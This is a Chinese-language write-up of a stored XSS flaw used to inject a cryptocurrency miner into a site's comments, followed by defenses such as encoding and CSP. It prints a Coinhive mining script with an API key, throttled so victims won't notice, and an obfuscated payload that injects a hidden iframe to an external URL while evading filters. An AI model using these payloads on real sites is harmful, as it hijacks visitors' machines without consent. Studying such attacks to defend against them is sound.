一个XSS挖矿马的曲折历程
字数 977 2025-08-18 11:38:08
XSS挖矿马攻击技术分析与防御指南
1. 漏洞复现与XSS利用
1.1 存储型XSS漏洞复现
- 漏洞发现:在输入框中插入XSS代码时,前端进行了过滤
- 绕过方法:
- 使用Burp Suite拦截并修改数据包
- 修改后的XSS代码成功存储并执行
- 验证方法:
- 刷新页面后XSS代码仍然存在并执行
- 确认这是一个存储型XSS漏洞
2. 挖矿攻击实施
2.1 准备工作
- 门罗币账户:攻击者需要预先创建门罗币钱包
- Coinhive账户:
- 注册Coinhive账户获取API密钥
- 示例API密钥:
3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo
2.2 挖矿脚本
<script src=https://coinhive.com/lib/coinhive.min.js></script>
<script>
var miner = new CoinHive.Anonymous('3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo', {throttle: 0.5});
miner.start();
</script>
throttle: 0.5:设置CPU使用率为50%,避免用户察觉
3. 绕过技术分析
3.1 初始注入失败原因
- 400错误:由于空格未编码为
+导致 - URL自动转换:评论插件自动为URL地址添加
<a>标签
3.2 DOM操作绕过
- 选择目标元素:选择一个页面上的元素进行覆盖
- 控制台测试:先在浏览器控制台验证方法可行性
- 字符串拼接:使用
+或concat方法拼接URL
3.3 最终有效Payload
<script>
document.getElementById("toast").innerHTML="<iframe+src=http".concat("s://url.rul/YouUrl+style='display:").concat("none;'></iframe>")
</script>
- 使用
concat函数拼接字符串避免被过滤 - 设置
display:none隐藏iframe避免被发现
4. 攻击效果验证
- DOM检查:确认iframe已成功插入
- CPU监控:观察到CPU利用率上升验证攻击成功
5. 防御措施
5.1 输入过滤
- 对所有用户输入进行HTML实体编码
- 实现严格的输入验证规则
5.2 输出编码
- 在数据输出到页面时进行适当的编码
- 根据上下文使用HTML、URL、JavaScript等编码
5.3 内容安全策略(CSP)
Content-Security-Policy: script-src 'self'; object-src 'none'; frame-src 'none'
- 限制外部脚本加载
- 禁用iframe等危险元素
5.4 其他防御措施
- 使用HTTP-only和Secure标志设置Cookie
- 实施X-XSS-Protection头部
- 定期安全审计和渗透测试
6. 法律与道德声明
- 本文所述技术仅用于安全研究和防御目的
- 未经授权对他人系统进行测试或攻击属违法行为
- 挖矿脚本会消耗用户计算资源,可能构成非法侵入
7. 技术演进
- Coinhive服务已关闭,但类似技术仍在演变
- 攻击者可能转向其他加密货币或使用WebAssembly等技术
- 防御措施需要持续更新以应对新威胁